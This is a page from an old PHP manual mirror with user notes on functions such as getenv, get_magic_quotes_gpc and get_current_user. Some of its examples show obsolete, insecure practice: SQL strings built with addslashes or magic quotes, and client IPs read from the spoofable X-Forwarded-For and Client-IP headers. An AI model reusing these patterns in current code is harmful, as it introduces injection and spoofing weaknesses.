BTW, to get dl() to work in Mac OS X you need to install the dlcompat library (via Fink, DarwinPorts, or Gentoo ports). Remember in the case of Fink, you better make sure your environment variables are adjusted to point to where dlcompat (and your other fink libraries) are.

terry
add a note add a note

后退 | 起点 | 前进
assert | 上一级 | extension_loaded


extension_loaded

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

extension_loaded -- Find out whether an extension is loaded

Description

bool extension_loaded ( string name )

Returns TRUE if the extension identified by name is loaded, FALSE otherwise.

例子 1. extension_loaded() example

<?php
if (!extension_loaded('gd')) {
    if (!dl('gd.so')) {
        exit;
    }
}
?>

You can see the names of various extensions by using phpinfo() or if you're using the CGI or CLI version of PHP you can use the -m switch to list all available extensions:
$ php -m
[PHP Modules]
xml
tokenizer
standard
sockets
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

注: extension_loaded() uses the internal extension name to test whether a certain extension is available or not. Most internal extension names are written in lower case but there may be extension available which also use uppercase letters. Be warned that this function compares case sensitive !

See also
get_loaded_extensions(),
get_extension_funcs(),
phpinfo(), and
dl().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dl | 上一级 | get_cfg_var


get_cfg_var

(PHP 3, PHP 4, PHP 5)

get_cfg_var -- Gets the value of a PHP configuration option

Description

string get_cfg_var ( string varname )

Returns the current value of the PHP configuration variable specified by varname, or FALSE if an error occurs.

It will not return configuration information set when the PHP was compiled, or read from an Apache configuration file (using the php3_configuration_option directives).

To check whether the system is using a configuration file, try retrieving the value of the cfg_file_path configuration setting. If this is available, a configuration file is being used.

See also ini_get().

add a note add a note User Contributed Notes
digitalife at 163 dot com
18-Jan-2003 05:51
ini_get() return the current value of the configuration option.
But the get_cfg_var() always get the value from config file, php.ini.
------------------------------------------------------

In PHP4.3.0I test this in WindowXPI found the Get_Cfg_Var() and ini_get() is same return the current value of the configuration,not from config file php.ini NOW!!!
verdana at php dot net
05-Dec-2002 02:16
ini_get() return the current value of the configuration option.
But the get_cfg_var() always get the value from config file, php.ini.

This is the test code:

ini_set('sendmail_from', 'verdana@263.net');

echo '<br /> <br />';

echo '<br /> Current Value:';
var_dump(ini_get('sendmail_from'));

echo '<br /> Value in cfg file:';
var_dump(get_cfg_var('sendmail_from'));
matt at ibforums dot com
29-May-2002 07:43
If you are using PHP 4.0+ (and if not, why not!) use ini_get().

This will return the local value - even if you've set it via apache in http.conf as I did during testing.
eric dot kidd at pobox dot com
12-Aug-2000 06:13
As implemented, this function is an odd wart--it calls cfg_get_string, which returns the value originally set in the config file, if any.

Unfortunately, you almost never want to know the original value in the config file. Instead, you want to know the value currently in effect. (These two values can be different if you have no php.ini file, or if you're setting options in httpd.conf or .htaccess files.)

To get the current value of a configuration option you should use ini_get() instead
add a note add a note

后退 | 起点 | 前进
extension_loaded | 上一级 | get_current_user


get_current_user

(PHP 3, PHP 4, PHP 5)

get_current_user -- Gets the name of the owner of the current PHP script

Description

string get_current_user ( void )

Returns the name of the owner of the current PHP script.

See also getmyuid(),
getmygid(), getmypid(),
getmyinode(), and
getlastmod().

add a note add a note User Contributed Notes
justin samuel
09-Oct-2005 02:45
to get the username of the process owner (rather than the file owner), you can use:

<?php
$processUser = posix_getpwuid(posix_geteuid());
print $processUser['name'];
?>
justin samuel
09-Oct-2005 02:25
with 4.3.11 (and i assume all other versions):

get_current_user() does *not* get the name of the user the script is running as, as stated in the comment below.  instead, it "gets the name of the owner of the current PHP script" (as stated in the description above) --- that is, the owner of the file, not the owner of the process.

if the script file is owned by root but php scripts are being being run as apache (for example, you're using mod_php because you don't mind your shared hosting environment being insecure), when you request your script through the webserver, get_current_user() will return "root".  that does not mean your script is running as root.
joho at pop3 dot nu
06-Oct-2005 08:43
get_current_user () returns the owner of the process running the script. In most cases, this will be the web server user ("nobody", "httpd", "apache", etc).
SiliconExpress at Techie dot com
20-Jun-2005 10:34
The 'constant' __FILE__ works easier ...

Example :

echo __FILE__;

Returns - '/home/username/public_html/filename.php'

This works INSIDE includes!!!  It saved me a bunch of problems..  If I want to make sure somebody does not load a file directly this is supposed be be an include this is the code I use...  Hope it helps you as much as it does me!  :)

//If user tries to load page directly the redirect to the home page
if ($_SERVER['SCRIPT_FILENAME'] == __FILE__) {
   header("HTTP/1.1 301 Moved Permanently");
   header("Location: /");
   echo "DO NOT TRY TO ACCESS THIS FILE DIRECTLY\r\n";
   exit;}
comicforum at lelon dot net
23-Apr-2005 05:51
Under windows, this function does not work the same in Apache as it does in IIS.  If you want the user name in apache, you have to use...

getenv("REMOTE_USER");
chris
05-Jan-2005 11:36
If you want to get the absolute name of the file you are currently on, use this:

<?
$rest = explode("php.net/", $PHP_SELF);
$rest = $rest[0];
echo("/home/".get_current_user()."/public_html".$rest);
?>
Just change php.net/ to your site's domain and a slash.
add a note add a note

后退 | 起点 | 前进
get_cfg_var | 上一级 | get_defined_constants


get_defined_constants

(PHP 4 >= 4.1.0, PHP 5)

get_defined_constants -- Returns an associative array with the names of all the constants and their values

Description

array get_defined_constants ( [mixed categorize] )

This function returns the names and values of all the constants currently defined. This includes those created by extensions as well as those created with the define() function.

For example the line below:

<?php
print_r(get_defined_constants());
?>

will print a list like:

Array
(
    [E_ERROR] => 1
    [E_WARNING] => 2
    [E_PARSE] => 4
    [E_NOTICE] => 8
    [E_CORE_ERROR] => 16
    [E_CORE_WARNING] => 32
    [E_COMPILE_ERROR] => 64
    [E_COMPILE_WARNING] => 128
    [E_USER_ERROR] => 256
    [E_USER_WARNING] => 512
    [E_USER_NOTICE] => 1024
    [E_ALL] => 2047
    [TRUE] => 1
)

As of PHP 5, an additional parameter, categorize, may be passed, causing this function to return a multi-dimensional array with categories in the keys of the first dimension and constants and their values in the second dimension.

<?php
define("MY_CONSTANT", 1);
print_r(get_defined_constants(true));
?>

上例的输出类似于：

Array
(
    [internal] => Array
        (
            [E_ERROR] => 1
            [E_WARNING] => 2
            [E_PARSE] => 4
            [E_NOTICE] => 8
            [E_CORE_ERROR] => 16
            [E_CORE_WARNING] => 32
            [E_COMPILE_ERROR] => 64
            [E_COMPILE_WARNING] => 128
            [E_USER_ERROR] => 256
            [E_USER_WARNING] => 512
            [E_USER_NOTICE] => 1024
            [E_ALL] => 2047
            [TRUE] => 1
        )

    [pcre] => Array
        (
            [PREG_PATTERN_ORDER] => 1
            [PREG_SET_ORDER] => 2
            [PREG_OFFSET_CAPTURE] => 256
            [PREG_SPLIT_NO_EMPTY] => 1
            [PREG_SPLIT_DELIM_CAPTURE] => 2
            [PREG_SPLIT_OFFSET_CAPTURE] => 4
            [PREG_GREP_INVERT] => 1
        )

    [user] => Array
        (
            [MY_CONSTANT] => 1
        )

)

注: The value of the categorize parameter is irrelevant, only its presence is considered.

See also
defined(),
get_loaded_extensions(),
get_defined_functions(), and
get_defined_vars().

add a note add a note User Contributed Notes
06-Jan-2006 03:29
If you want to filter through and return only the prefix for your constants (i.e. you have constants with a naming scheme), then you can use this quick little function. It comes in handy for debugging.

<?php
function returnConstants ($prefix) {
   foreach (get_defined_constants() as $key=>$value)
       if (substr($key,0,strlen($prefix))==$prefix)  $dump[$key] = $value;
   if(empty($dump)) { return "Error: No Constants found with prefix '".$prefix."'"; }
   else { return $dump; }
}
?>

Example:

<?php
define("SITENAME_OPTION_ONE",true);
define("SITENAME_OPTION_TWO",false);
define("SITENAME_URL","foo");

print_r(returnConstants("SITENAME_OPTION"));
?>

Will return:

Array
(
   [SITENAME_OPTIONONE] => 1
   [SITENAME_OPTIONTWO] =>
)
me at gogogadgetscott dot info
19-Jun-2005 02:14
<?php
/**
 * Convert constant value into string name.
 *
 * @param  mixed  Constant value.
 * @return string Constant name.
 * @access public
 */
function sch_get_consant($value)
{
   $constants = get_defined_constants();
   $name = array_search($value, $constants, TRUE);
   return $name;
}
?>
add a note add a note

后退 | 起点 | 前进
get_current_user | 上一级 | get_extension_funcs


get_extension_funcs

(PHP 4, PHP 5)

get_extension_funcs -- Returns an array with the names of the functions of a module

Description

array get_extension_funcs ( string module_name )

This function returns the names of all the functions defined in the module indicated by module_name.

注: The module_name parameter must be in lowercase.

For example the lines below

<?php
print_r(get_extension_funcs("xml"));
print_r(get_extension_funcs("gd"));
?>

will print a list of the functions in the modules xml and gd respectively.

See also: get_loaded_extensions()

add a note add a note User Contributed Notes
JM
05-Jun-2006 10:40
FALSE is returned if there are no functions in that extension.  For example, <?php get_extension_funcs("xmlreader"); ?> returns FALSE because that extension defines the XMLReader class but not functions.
add a note add a note

后退 | 起点 | 前进
get_defined_constants | 上一级 | get_include_path


get_include_path

(PHP 4 >= 4.3.0, PHP 5)

get_include_path -- Gets the current include_path configuration option

Description

string get_include_path ( void )

Gets the current include_path configuration option value.

例子 1. get_include_path() example

<?php
// Works as of PHP 4.3.0
echo get_include_path();

// Works in all PHP versions
echo ini_get('include_path');
?>

See also ini_get(),
restore_include_path(),
set_include_path(), and
include().

add a note add a note User Contributed Notes
Borszczuk
23-Jan-2005 08:51
In case you would like to have all include path elements in form of an array use the following code  (PATH_SEPARATOR is PHP's constand and it's crucial to avoid problems with different linux/windows separators

<?php

$pathArray = explode( PATH_SEPARATOR, get_include_path() );

print_r( $pathArray );

?>
add a note add a note

后退 | 起点 | 前进
get_extension_funcs | 上一级 | get_included_files


get_included_files

(PHP 4, PHP 5)

get_included_files -- Returns an array with the names of included or required files

Description

array get_included_files ( void )

Returns an array of the names of all files that have been
included using include(),
include_once(), require()
or require_once().

The script originally called is considered an "included file," so it will be listed together with the files referenced by include() and family.

Files that are included or required multiple times only show up once in the returned array.

注: Files included using the auto_prepend_file configuration directive are not included in the returned array.

例子 1. get_included_files() example (abc.php)

<?php

include 'test1.php';
include_once 'test2.php';
require 'test3.php';
require_once 'test4.php';

$included_files = get_included_files();

foreach ($included_files as $filename) {
    echo "$filename\n";
}

?>

will generate the following output:

abc.php
test1.php
test2.php
test3.php
test4.php

注: In PHP 4.0.1pl2 and previous versions get_included_files() assumed that the required files ended in the extension .php; other extensions would not be returned. The array returned by get_included_files() was an associative array and only listed files included by include() and include_once().

See also
include(),
include_once(),
require(),
require_once(), and
get_required_files().

add a note add a note User Contributed Notes
quis -AT- maffiaworld -DOT- n e t
19-Mar-2006 01:08
If you wan`t to compare __FILE__ and $_SERVER['SCRIPT_NAME']
you could use realpath()
it strips out symlinks and things like that

realpath(__FILE__) == realpath($_SERVER['SCRIPT_NAME'])
gamblor at crazyhomer dot com
15-Mar-2006 09:08
In regards to
__FILE__ != $_SERVER['SCRIPT_FILENAME'] to check for a file as an include:

This only works if you are using PHP as an Apache module; when using PHP as a CGI binary on shared hosts, the filepaths may differ, even if they end up pointing to the exact same file.

For example, __FILE__ might be /home/SERVER/USER/SITE/test.php
and $_SERVER['SCRIPT_FILENAME'] might be /home/USER/SITE/test.php

Because of the SERVER included in the __FILE__ path, the comparison returns true, even though the file is not being included by any other file.
RPaseur at NationalPres dot org
09-Mar-2006 12:04
As is often the case, YMMV.  I tried the __FILE__ and SCRIPT_FILENAME comparison and found this:

SCRIPT_FILENAME: /var/www/cgi-bin/php441
__FILE__: /raid/home/natpresch/natpresch/RAY_included.php

As an alternative:

count(get_included_files());

Gives one when the script is standalone and always more than one when the script is included.
keystorm :at: gmail dotcom
08-Sep-2004 05:08
As of PHP5, this function seems to return an array with the first index being the script all subsequent scripts are included to.
If index.php includes b.php and c.php and calls get_included_files(), the returned array looks as follows:

index.php
a.php
b.php

while in PHP<5 the array would be:

a.php
b.php

If you want to know which is the script that is including current script you can use $_SERVER['SCRIPT_FILENAME'] or any other similar server global.

If you also want to ensure current script is being included and not run independently you should evaluate following expression:

__FILE__ != $_SERVER['SCRIPT_FILENAME']

If this expression returns TRUE, current script is being included or required.
php at bronosky dot com
03-Jun-2004 08:46
Just FYI, the given example will return this ONLY if executed from the filesystem root:
abc.php
test1.php
test2.php
test3.php
test4.php

What makes this function useful is that it actually returns the complete path of each file.  Like this:
/path/including/document_root/to/abc.php
/path/including/document_root/to/test1.php
/path/including/document_root/to/test2.php
/path/including/document_root/to/test3.php
/path/including/document_root/to/test4.php
add a note add a note

后退 | 起点 | 前进
get_include_path | 上一级 | get_loaded_extensions


get_loaded_extensions

(PHP 4, PHP 5)

get_loaded_extensions -- Returns an array with the names of all modules compiled and loaded

Description

array get_loaded_extensions ( void )

This function returns the names of all the modules compiled and loaded in the PHP interpreter.

For example the line below

<?php
print_r(get_loaded_extensions());
?>

will print a list like:

Array
(
   [0] => xml
   [1] => wddx
   [2] => standard
   [3] => session
   [4] => posix
   [5] => pgsql
   [6] => pcre
   [7] => gd
   [8] => ftp
   [9] => db
   [10] => calendar
   [11] => bcmath
)

See also
get_extension_funcs(),
extension_loaded(),
dl(), and
phpinfo().

add a note add a note User Contributed Notes
gud_AT_dulmens_dk
06-Jun-2006 07:06
Just a brief note. A nice way of checking if zip is enabled:

$load_ext = get_loaded_extensions();
if (in_array("zip", $load_ext))
   $zip_ok = 1;
else
   $zip_ok = 0;
add a note add a note

后退 | 起点 | 前进
get_included_files | 上一级 | get_magic_quotes_gpc


get_magic_quotes_gpc

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

get_magic_quotes_gpc -- Gets the current configuration setting of magic quotes gpc

Description

int get_magic_quotes_gpc ( void )

Returns the current configuration setting of magic_quotes_gpc (0 for off, 1 for on).

注: If the directive magic_quotes_sybase is ON it will completely override magic_quotes_gpc. So even when get_magic_quotes_gpc() returns TRUE neither double quotes, backslashes or NUL's will be escaped. Only single quotes will be escaped. In this case they'll look like: ''

Keep in mind that the setting magic_quotes_gpc will not work at runtime.

例子 1. get_magic_quotes_gpc() example

<?php
echo get_magic_quotes_gpc();         // 1
echo $_POST['lastname'];             // O\'reilly
echo addslashes($_POST['lastname']); // O\\\'reilly

if (!get_magic_quotes_gpc()) {
    $lastname = addslashes($_POST['lastname']);
} else {
    $lastname = $_POST['lastname'];
}

echo $lastname; // O\'reilly
$sql = "INSERT INTO lastnames (lastname) VALUES ('$lastname')";
?>

For more information about magic_quotes, see this security section.

See also addslashes(),
stripslashes(),
get_magic_quotes_runtime(), and
ini_get().

add a note add a note User Contributed Notes
07-Feb-2006 08:56
All the code listed on this page is not necessary if you use the php_flag directive in a .htaccess file. This allows you to disable magic quotes completely, without the need to adjust your php.ini file or (re)process the user's input.

Just take a look at http://www.php.net/manual/en/security.magicquotes.php#55935

Gist of his note: in the .htaccess file, add a line

php_flag magic_quotes_gpc off

That's it. Thank you very much, richard dot spindler :) !
eddie dot bishop at gmail dot com
29-Oct-2005 10:31
If you have inputs like this in a form:

<input type=hidden name="one[bl's]" value="stuff's" />
<input type=hidden name="bl's" value="val's" />

and you submit it, the NAMES of the variables will ALWAYS be magic-quoted, even if magic_quotes is OFF. However, the VALUES of the variables will be magic-quoted only if magic-quotes is turned on.

In the above case, even if magic quotes is off, your POST data will look something like this:

$_POST = array(
   one = array(
       bl\'s = stuff's
   ),
   bl\'s = val's
)

Notice how the values of the variables were not magic-quoted, but the NAMES of the variables were quoted.

Tested in PHP 5.0.4, Windows NT 5.1 build 2600
php at kaiundina dot de
03-Feb-2005 08:18
Escaping of key-strings in GPC-arrays behave different to the escaping of their values.

First I expected that keys in submitted gpc-arrays are never escaped.
Anyway. After I saw escaped keys, I assumed they're escaped according to the settings of magic quotes.
... it's even worse...

It took me over 2 days of testing to figure out the exact behavior and creating two functions (one for each php-version) that strips slashes reliably from any array submitted to a script. Hope this saves someones time and nerves.

The following is true for $_GET- and $_POST-arrays. I hope other arrays affected by magic quotes behave equally.
I did not test the behavior for cases where magic_quotes_sybase is set.

== legend for possible case combinations ==
Px = php version we're using
   P4 = php 4.3.9
   P5 = php 5.0.2

MQ = MagicQuotes GPC
   +MQ = magic quotes enabled
   -MQ = magic quotes disabled

TL = TopLevel key
   +TL = key is on top level (i.e. $_GET['myKey'])
   -TL = key is nested within another array (i.e. $_GET['myList']['myKey'])

AK = ArrayKey
   +AK = the value of the key is another array (i.e. is_array($_GET['myKey']) == true)
   -AK = the value is a normal string (i.e. is_string($_GET['myKey']) == true)

== legend for possible results ==
KE = KeyEscaping
   +KE = control chars are prefixed with a backslash
   -KE = key is returned as submitted and needn't to be stripped

VE = ValueEscaping (doesn't apply for array as value)
   +VE = control chars are prefixed with a backslash
   -VE = value is returned as submitted and needn't to be stripped

== here we go - the following rules apply ==
 1) P4 +MQ +AK +TL --> -KE
 2) P4 +MQ +AK -TL --> +KE
 3) P4 +MQ -AK +TL --> -KE +VE
 4) P4 +MQ -AK -TL --> +KE +VE
 5) P4 -MQ +AK +TL --> -KE
 6) P4 -MQ +AK -TL --> -KE
 7) P4 -MQ -AK +TL --> -KE -VE
 8) P4 -MQ -AK -TL --> -KE -VE
 9) P5 +MQ +AK +TL --> -KE
10) P5 +MQ +AK -TL --> +KE
11) P5 +MQ -AK +TL --> +KE +VE
12) P5 +MQ -AK -TL --> +KE +VE
13) P5 -MQ +AK +TL --> -KE
14) P5 -MQ +AK -TL --> -KE
15) P5 -MQ -AK +TL --> +KE -VE
16) P5 -MQ -AK -TL --> +KE -VE
17) The chars '.', ' ' are always replaced by '_' when used in keys.

Example (rule 15):
When running under php 5.0.2 having magic quotes disabled, gpc-keys on top level containing strings are escaped while their associated values are not.

== The following function will strip GPC-arrays for php 4.3.9 ==
function transcribe($aList, $aIsTopLevel = true) {
   $gpcList = array();
   $isMagic = get_magic_quotes_gpc();

   foreach ($aList as $key => $value) {
       $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
       if (is_array($value)) {
           $decodedValue = transcribe($value, false);
       } else {
           $decodedValue = ($isMagic)?stripslashes($value):$value;
       }
       $gpcList[$decodedKey] = $decodedValue;
   }
   return $gpcList;
}

== The following function will strip GPC-arrays for php 5.0.2 ==
function transcribe($aList, $aIsTopLevel = true) {
   $gpcList = array();
   $isMagic = get_magic_quotes_gpc();

   foreach ($aList as $key => $value) {
       if (is_array($value)) {
           $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
           $decodedValue = transcribe($value, false);
       } else {
           $decodedKey = stripslashes($key);
           $decodedValue = ($isMagic)?stripslashes($value):$value;
       }
       $gpcList[$decodedKey] = $decodedValue;
   }
   return $gpcList;
}

Usage:
$unstrippedGET = transcribe($_GET);
$unstrippedPOST = transcribe($_POST);

Maybe someone is willing to test those combinations for other php-versions and with magic_quotes_sybase set to 'on' - let me know.
Sorry for this huge amount of text, but its complete. I was unable to compress the the decision table more than this.
stpierre-at-spamsucks.nebrwesleyan.edu
15-Jan-2005 12:51
I've found that, when working with Oracle (9i at least), you'll want to turn on magic_quotes_sybase.  I've read elsewhere that others have had the same experience.
eltehaem at poczta dot onet dot pl
27-Nov-2004 06:58
Please note, that when magic_quotes_gpc is set not only $_POST, $_GET, $_REQUEST, $_COOKIE arrays values are slashed. Actually every string value in $GLOBALS array is slashed, ie. $GLOBALS['_SERVER']['PATH_INFO'] (or $_SERVER['PATH_INFO']).
add a note add a note

后退 | 起点 | 前进
get_loaded_extensions | 上一级 | get_magic_quotes_runtime


get_magic_quotes_runtime

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

get_magic_quotes_runtime -- Gets the current active configuration setting of magic_quotes_runtime

Description

int get_magic_quotes_runtime ( void )

Returns the current active configuration setting of magic_quotes_runtime (0 for off, 1 for on).

See also get_magic_quotes_gpc() and set_magic_quotes_runtime().

add a note add a note User Contributed Notes
php at nospam-qualystem dot com
09-Jan-2003 09:48
get_magic_quotes runtime and set_magic_quotes_runtime are useful when you want to read some data in a binary file using fread() and some bytes in such file may be interpreted as \ (backslash), " (double quotes), ' (simple quote) or any "special" character that has a meaning for string processing.
add a note add a note

后退 | 起点 | 前进
get_magic_quotes_gpc | 上一级 | get_required_files


get_required_files

(PHP 4, PHP 5)

get_required_files -- 别名 get_included_files()

说明

本函数是该函数的别名： get_included_files().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
get_magic_quotes_runtime | 上一级 | getenv


getenv

(PHP 3, PHP 4, PHP 5)

getenv -- Gets the value of an environment variable

Description

string getenv ( string varname )

Returns the value of the environment variable varname, or FALSE on an error.

<?php
// Example use of getenv()
$ip = getenv('REMOTE_ADDR');

// Or simply use a Superglobal ($_SERVER or $_ENV)
$ip = $_SERVER['REMOTE_ADDR'];
?>

You can see a list of all the environmental variables by using phpinfo(). You can find out what many of them mean by taking a look at the CGI specification, specifically the page on environmental variables.

See also putenv(), apache_getenv() 和 Superglobals.

add a note add a note User Contributed Notes
svpe (at] gmx {dot) net
21-Dec-2005 12:35
I've read all the comments here.
Most of you trust that HTTP_X_FORWARDED_FOR is the real ip address of the user.
But it can easily be faked by sending a wrong HTTP request.
REMOTE_ADDR does contain the 'real' ip address (maybe of the proxy server but it cannot be faked as easy as X_FORWARDED_FOR)
So if you rely on checking the visitor by it's ip address validate _both_ $_SERVER['REMOTE_ADDR'] and $_SERVER['HTTP_X_FORWARDED_FOR'].
shane at 007Marketing
26-Aug-2005 06:42
I am just starting to try to tackle this issue of getting the real ip address.

One flaw I see in the preceding notes is that none will bring up a true live ip address when the first proxy is behind a nat router/firewall.

I am about to try and nut this out but from the data I see so far the true ip address (live ip of the nat router) is included in $_SERVER['HTTP_CACHE_CONTROL'] as bypass-client=xx.xx.xx.xx

$_SERVER['HTTP_X_FORWARDED_FOR'] contains the proxy behind the nat router.

$_SERVER['REMOTE_ADDR'] is the isp proxy (from what I read this can be a list of proxies if you go through more than one)

I am not sure if bypass-client holds true when you get routed through several proxies along the way.
renko at <remove>virtual-life dot net
08-Nov-2004 10:40
The function 'getenv' does not work if your Server API is ASAPI (IIS).

So, try to don't use getenv('REMOTE_ADDR'), but $_SERVER["REMOTE_ADDR"].
mkaman at aldeafutura dot com
23-Apr-2004 09:33
I think there is a better way to determine a correct ip. This is based in the fact that the private ip's for lan use are described in RFC 1918.
So all we have to do is get an ordered array of ip's and take the first ip that doesn't is a private ip.

//List of the private ips described in the RFC. You can easily add the
//127.0.0.0/8 to this if you need it.

$ip_private_list=array(
                       "10.0.0.0/8",
                       "172.16.0.0/12",
                       "192.168.0.0/16"
);

//Determine if an ip is in a net.
//E.G. 120.120.120.120 in 120.120.0.0/16
//I saw this in another post in this site but don't remember where :P

function isIPInNet($ip,$net,$mask) {
  $lnet=ip2long($net);
  $lip=ip2long($ip);
  $binnet=str_pad( decbin($lnet),32,"0","STR_PAD_LEFT" );
  $firstpart=substr($binnet,0,$mask);
  $binip=str_pad( decbin($lip),32,"0","STR_PAD_LEFT" );
  $firstip=substr($binip,0,$mask);

  return(strcmp($firstpart,$firstip)==0);
}

//This function check if a ip is in an array of nets (ip and mask)

function isIpInNetArray($theip,$thearray)
{
  $exit_c=false;
  #print_r($thearray);
  foreach ( $thearray as $subnet ) {
   list($net,$mask)=split("/",$subnet);
   if(isIPInNet($theip,$net,$mask)){
     $exit_c=true;
     break;
   }
  }
  return($exit_c);
}

//Building the ip array with the HTTP_X_FORWARDED_FOR and
//REMOTE_ADDR HTTP vars.
//With this function we get an array where first are the ip's listed in
//HTTP_X_FORWARDED_FOR and the last ip is the REMOTE_ADDR.
//This is inspired (copied and modified) in the function from daniel_dll.

function GetIpArray()
{
 $cad="";

 if  (isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND
     $_SERVER['HTTP_X_FORWARDED_FOR']!="")
                 $cad=$_SERVER['HTTP_X_FORWARDED_FOR'];

 if(isset($_SERVER['REMOTE_ADDR']) AND
   $_SERVER['REMOTE_ADDR']!="")
                 $cad=$cad.",".$_SERVER['REMOTE_ADDR'];

 $arr=  explode(',',$cad);

 return $arr;
}

//We check each ip in the array and we returns the first that is not a
//private ip.

function getIp()
{
  global $ip_private_list;
   $ip = "unknown";
   $ip_array=getIpArray();

   foreach ( $ip_array as $ip_s ) {

     if( $ip_s!="" AND !isIPInNetArray($ip_s,$ip_private_list)){
       $ip=$ip_s;
       break;
     }
   }

  return($ip);
}
mayday at tria dot lv
20-Apr-2004 02:00
daniele_dll:
Your function hase a bug!
If You check this IPs:
$_SERVER['REMOTE_ADDR'] = '127.0.0.1';
$_SERVER['HTTP_X_FORWARDED_FOR'] = '127.0.0.2,127.0.0.3';
the function will return this:
Array
(
   [0] => 127.0.0.1
   [1] => 127.0.0.3
)
Yes, the first element from 'HTTP_X_FORWARDED_FOR' is lost.
The only fixes you need to make is to move down one line.
This is the correct way:
<?php
function get_ip_list() {
   $tmp = array();
   if  (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && strpos($_SERVER['HTTP_X_FORWARDED_FOR'],',')) {
       $tmp +=  explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
   } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
       $tmp[] = $_SERVER['HTTP_X_FORWARDED_FOR'];
   }
   $tmp[] = $_SERVER['REMOTE_ADDR'];
   return $tmp;
}
?>
kyong
04-Feb-2004 05:06
As you know, getenv('DOCUMENT_ROOT') is useful.
However, under CLI environment(I tend to do quick check
if it works or not), it doesn't work without modified php.ini
file. So I add "export DOCUMENT_ROOT=~" in my .bash_profile.
Joenema at aol dot com
29-May-2003 06:25
This is just a reply to Anders Winther's fool-proof IP address fetcher.

What he has is good, but uses a lot of superfluous lines. Basically, he could have done this:

function getIP() {
$ip;

if (getenv("HTTP_CLIENT_IP")) $ip = getenv("HTTP_CLIENT_IP");
else if(getenv("HTTP_X_FORWARDED_FOR")) $ip = getenv("HTTP_X_FORWARDED_FOR");
else if(getenv("REMOTE_ADDR")) $ip = getenv("REMOTE_ADDR");
else $ip = "UNKNOWN";

return $ip;

}

Do you see how those numerous lines of code compressed into a few lines?
daman at SPAM_BlockERmralaska dot com
08-Sep-2002 09:37
Be careful using HTTP_X_FORWARDED_FOR in conditional statements collecting the IP address. Sometimes the user's LAN address will get forwarded, which of course is pretty worthless by itself.
alex at acid-edge dot net
24-Jul-2002 01:32
Note that some caches seem to send the client-ip header *backwards*. be careful :)
john-php at pc dot xs4all dot nl
16-Aug-2000 09:56
Note that the X-Forwarded for header might contain multiple addresses, comma separated, if the request was forwarded through multiple proxies.

Finally, note that any user can add an X-Forwarded-For header themselves. The header is only good for traceback information, never for authentication. If you use it for traceback, just log the entire X-Forwarded-For header, along with the REMOTE_ADDR.
sorry at spammed dot nut
12-Jul-1999 10:43
To show a use of getenv("QUERY_STRING")....

suppose you have a site with frames...  the frames create the "interface", and one frame called "main" has an active document...  now, suppose you made a page.php3 which took an argument "pg" and spit out the framesets necessary, with "main" frame containing whatever "pg" is...  so now you can bring up any page in your site with page.php3?pg=test.html
now, take this one step further, and suppose you want outside links to point to php3 pages which takes parameters, ON your site...  but you still want them to appear in frames, so what do you do?  well, if "ok.php3" was the page you wanted to show, and it was requested as "ok.php3?some=params&go=here", then the very thing in the beginning of ok.php3 could be
if (!isset($inframe)) {
header("Location: http://yoursite/page.php3?pg=".urlencode("inframes=1&").getenv("QUERY_STRING"));
exit;
}
Now... you might ask, how in the world did I come up with THAT?  Well, perhaps it was because I came here not able to remember which environment variable held the query string...
add a note add a note

后退 | 起点 | 前进
get_required_files | 上一级 | getlastmod


getlastmod

(PHP 3, PHP 4, PHP 5)

getlastmod -- Gets time of last page modification

Description

int getlastmod ( void )

Returns the time of the last modification of the current page. The value returned is a Unix timestamp, suitable for feeding to date(). Returns FALSE on error.

例子 1. getlastmod() example

<?php
// outputs e.g. 'Last modified: March 04 1998 20:43:59.'
echo "Last modified: " . date ("F d Y H:i:s.", getlastmod());
?>

注: If you're interested in getting the last modification time of a different file, consider using filemtime().

See also
date(),
getmyuid(),
getmygid(),
get_current_user(),
getmyinode(),
getmypid(), and
filemtime().

add a note add a note User Contributed Notes
rwruck
17-Oct-2004 09:28
DO NOT use this function unless you are absolutely sure both your Apache and PHP have been compiled with the same value for -DFILE_OFFSET_BITS.

If not, this function will return the access time (or maybe even garbage) instead of the modification time due do Apache and PHP using different versions of the stat structure.

This is true regardless of Apache and PHP version.

To be on the safe side, always use the workaround already posted below:
filemtime($_SERVER['SCRIPT_FILENAME'])
19-May-2004 07:36
Setting the 'Last-Modified' header:
<?php
setlocale(LC_TIME, "C");
$ft = filemtime ('referencefile');
$localt = mktime ();
$gmtt = gmmktime ();
$ft = $ft - $gmtt + $localt;
$modified = strftime ("%a, %d %b %Y %T GMT", $ft);
?>
timeflys at users dot sourceforget dot net
21-Mar-2003 05:28
I found issues using getlastmod() to test whether or not I was successful in setting the Last Modified date in the header. The code below shows the same Last Modified date before and after I set the Last-Modified header.

=====getlastmod

<?
//True modified date
$modified = date ("F d Y H:i:s.", getlastmod());

//artificial modified date - sent to header
$last_modified = gmdate('D, d M Y H:i:s T', (time() - 43200));

//caching prevention
header("Last-Modified: $last_modified GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");  // HTTP/1.1
header("Cache-Control: post-check=0, pre-check=0", false);
   header("Pragma: no-cache");                          // HTTP/1.0

$getlast_modified = date ("F d Y H:i:s.", getlastmod());

print "True modified date(Before): $modified <p /> Date sent to header(After): $getlast_modified";
?>

I then used the PEAR, HTTP_Request class which worked, the Last-Modified date updates everytime it is requested, the desired effect.

======HTTP_Request
<?
require 'HTTP/Request.php';
$r = new HTTP_Request('http://www.sample.com/page.php');
$r->sendRequest();
$response_headers = $r->getResponseHeader();
print $response_headers["last-modified"];
?>
Richard Anderson(r85anderson at yahoo dot com)
18-Nov-2002 05:33
for includes....

<?
//include.php
$file = __FILE__;
$lastmod = date("M d, Y @ h:ia", filemtime($file));
?>

<?
//footer.php
echo("page last modified: $lastmod");
?>
kworthington ([no@spam)] linuxmaildotorg
04-Oct-2002 06:33
I was just informed of a workaround for the Apache 2.0 issue, do:
